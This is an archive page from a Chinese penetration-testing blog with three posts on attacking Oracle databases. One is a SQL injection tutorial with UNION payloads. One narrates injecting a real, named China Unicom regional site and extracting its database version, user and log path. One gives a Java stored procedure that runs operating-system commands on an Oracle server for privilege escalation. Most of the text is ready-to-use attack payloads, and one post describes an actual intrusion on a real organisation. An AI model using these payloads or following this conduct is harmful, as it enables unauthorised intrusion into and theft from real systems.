存档

文章标签 ‘Oracle’

oracle 注射

2010年10月9日 admin     1,634 views 4 条评论

作者:不详

来源:不详

判断是否为Oralce数据库:

And 0<>(select count(*) from dual) 返回正常页面表示为Oracle数据库

猜解字段数量:
使用order by 或者group by逐个提交数字 知道回显错误页面

列出字段数目 比如6个字段数目

and 1=1 null,null,null,null,null,null from dual-

因为ORACLE数据库是不自动匹配数据类型的,而null可以匹配任意数据类型,所以这样提交不会报错。 提交它返回了正常页面.

检测当前字段的数据类型,在null的前后加上‘’引号,如果返回正常则说明该字段为字符型,如果返回错误有可能是数字型的,如果不是数字型,那么就是其它类型
例如提交语句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–

读取Oracle数据库版本:
把回显的数字替换成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
阅读全文…

分类: 渗透测试 标签: ,

渗透中国联通

2010年5月6日 admin     2,164 views 1 条评论
渗透中国联通
文章作者:Nicholas
渗透联通之旅,原来入侵过四川联通.
今日再次看看.发现一个jsp页面的get连接.就忍不住的想测试
http://www.sc.chinaunicom.com/local/content.jsp?localid=9
先加上  and 1=1   , and 1=2 . 貌似有注入.
普遍情况下,JSP相对采用SYBASE,MYSQL,ORACLE数据库.那就一个个测试吧.
当测试Dual表的时候返回正确了 And 0<>(select count(*) from dual)
说明是Oracle数据库.  现在数据库已经弄清楚了,可以使用order by来测试字段了.
order by 10– 返回错误.  接着order by 6的时候返回正确. order by 7返回错误.
说明6个字段. 现在构造查询语句. 其实跟MYSQL手工注入差不多
and  1=1 null,null,null,null,null,null from dual– 返回错误页面.
然后把null加上单引号测试字符类型. 还是错误页面.
还剩下一种常用数据类型. 那就是数字了.
and 1=2 union select 1,’2′,3,’4′,5,’6′ from dual–
在新闻标题和新闻内容出现了”2″   已经爆出了数据库字段位置了.
先看看数据库版本吧.
and 1=2 union select 1,’(select banner from sys.v_$version where rownum=1)’,3,’4′,5,’6′ from dual–
返回页面出现  Oracle9i Enterprise Edition Release 9.2.0.1.0 – 64bit Production
然后使用(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)来爆数据库用户名吧
用户名爆出来了CHINAUNICOM
接着通过logfile函数获取日志文件路径.(select member from v$logfile where rownum=1)
出现/oracle/oradata/uniscdb/redo03.log   看这个路径,说明不会是WIN系统平台.是LINUX或许UNIX或许其他的
分类: 渗透测试 标签: , ,

入侵Oracle服务器进一步获取权限

2010年4月8日 admin     1,566 views 没有评论

入侵Oracle服务器进一步获取权限

来源:网络

很快便连接上oracle服务器,此时发现:

1.连接后不是dba权限

2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限

3.运行SELECT UTL_HTTP.request(‘http://xxxxxxxxxxx/login.jsp’) FROM dual 后发现oracle服务器不能连接网络。

幸运的是,

运行

create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

成功!这个用户具有create proceduce权限。

此时马上想到创建java扩展执行命令:

create or replace and compile java source named “LinxUtil” as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=”";while ((stemp = myReader.readLine()) != null) str +=stemp+” “;myReader.close();return str;} catch (Exception e){return e.toString();}}}

阅读全文…

分类: 渗透测试 标签: ,